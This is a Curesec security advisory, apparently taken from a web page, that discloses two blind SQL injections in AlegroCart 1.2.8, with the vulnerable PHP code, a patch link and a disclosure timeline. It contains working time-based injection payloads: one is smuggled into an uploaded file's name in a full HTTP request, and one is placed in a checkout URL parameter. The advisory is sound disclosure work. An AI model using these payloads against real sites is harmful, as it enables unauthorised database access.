1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 |
Security Advisory - Curesec Research Team 1. Introduction Affected Product:AlegroCart 1.2.8 Fixed in:Patch AC128_fix_17102015 Path Link: http://forum.alegrocart.com/download/file.php?id=1040 Vendor Website:http://alegrocart.com/ Vulnerability Type:SQL Injection Remote Exploitable:Yes Reported to vendor:09/29/2015 Disclosed to public: 11/13/2015 Release mode:Coordinated release CVE: n/a CreditsTim Coen of Curesec GmbH 2. Overview There is a blind SQL injection in the admin area of AlegroCart. Additionally, there is a blind SQL injection when a customer purchases a product. Because of a required interaction with PayPal, this injection is hard to exploit for an attacker. 3. BLind SQL Injection (Admin) CVSS Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description When viewing the list of uploaded files - or images - , the function check_download is called. This function performs a database query with the unsanitized name of the file. Because of this, an attacker can upload a file containing SQL code in its name, which will be executed once files are listed. Note that a similar function - check_filename - is called when deleting a file, making it likely that this operation is vulnerable as well. Admin credentials are required to exploit this issue. Proof of Concept POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794 Content-Length: 865 -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="language[1][name]" test -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -" Content-Type: image/jpeg img -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="mask" 11953405959037.jpg -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="remaining" 1 -----------------------------16690383031191084421650661794 Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4" f396df6c76265de943be163e9b65878a -----------------------------16690383031191084421650661794-- Visiting http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download will trigger the injected code. Code /upload/admin2/model/products/model_admin_download.php function check_download($filename){ $result = $this->database->getRow("select * from download where filename = '".$filename."'"); return $result; } function check_filename($filename){ $results = $this->database->getRows("select filename from download where filename = '" . $filename . "'"); return $results; } /upload/admin2/controller/download.php function checkFiles() { $files=glob(DIR_DOWNLOAD.'*.*'); if (!$files) { return; } foreach ($files as $file) { $pattern='/\.('.implode('|',$this->prohibited_types).')$/'; $filename=basename($file); if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) { $result = $this->modelDownload->check_download($filename); if (!$result) { $this->init($filename); } } } } 4. BLind SQL Injection (Customer) CVSS Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P Description There is an SQL Injection when using Paypal as a payment method during checkout. Please note that this injection requires that a successful interaction with Paypal took place. For test purposes, we commented out the parts of the code that actually perform this interaction with Paypal. Proof of Concept 1. Register a User 2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation" 3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token. The injection can be exploited blind: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23) However, this is rather unpractical, especially considering the need for a valid PayPal token for each request. It is also possible with this injection to inject into an UPDATE statement in update_order_status_paidunconfirmed. The problem here is that it is difficult to create an injection that exploits the UPDATE statement, but also results in an order_id being returned by the previous SELECT statement. It may also be possible to use the order_id that can be controlled via the SELECT statement to inject into the INSERT statement in update_order_history. But again, it is difficult to craft a query that does this, but also returns a valid result for the UPDATE query. Code /upload/catalog/extension/payment/paypal.php: function orderUpdate($status = 'final_order_status', $override = 0) { //Find the paid_unconfirmed status id $results = $this->getOrderStatusId('order_status_paid_unconfirmed'); $paidUnconfirmedStatusId = $results?$results:0; //Find the final order status id $results = $this->getOrderStatusId($status); $finalStatusId = $results?$results:0; $reference = $this->request->get('ref'); //Get Order Id $res = $this->modelPayment->get_order_id($reference); $order_id = $res['order_id']; //Update order only if state in paid unconfirmed OR override is set if ($order_id) { if ($override) { // Update order status $result = $this->modelPayment->update_order_status_override($finalStatusId,$reference); // Update order_history if ($result) { $this->modelPayment->update_order_history($order_id, $finalStatusId, 'override'); } } else { // Update order status only if status is currently paid_unconfirmed $result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId); // Update order_history if ($result){ $this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN'); } } } } /upload/catalog/model/payment/model_payment.php: function get_order_id($reference){ $result = $this->database->getrow("select <code>order_id</code> from <code>order</code> where <code>reference</code> = '" . $reference . "'"); return $result; } function update_order_history($order_id, $finalStatusId,$comment){ $this->database->query("insert into <code>order_history</code> set <code>order_id</code> = '" . $order_id . "', <code>order_status_id</code> = '" . $finalStatusId . "', <code>date_added</code> = now(), <code>notify</code> = '0', <code>comment</code> = '" . $comment . "'"); } function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){ $result = $this->database->countAffected($this->database->query("update <code>order</code> set <code>order_status_id</code> = '" . $finalStatusId . "' where <code>reference</code> = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'")); return $result; } 5. Solution To mitigate this issue please apply this patch: http://forum.alegrocart.com/download/file.php?id=1040 Please note that a newer version might already be available. 6. Report Timeline 09/29/2015 Informed Vendor about Issue 17/10/2015 Vendor releases fix 11/13/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/AlegroCart-128-SQL-Injection-104.html |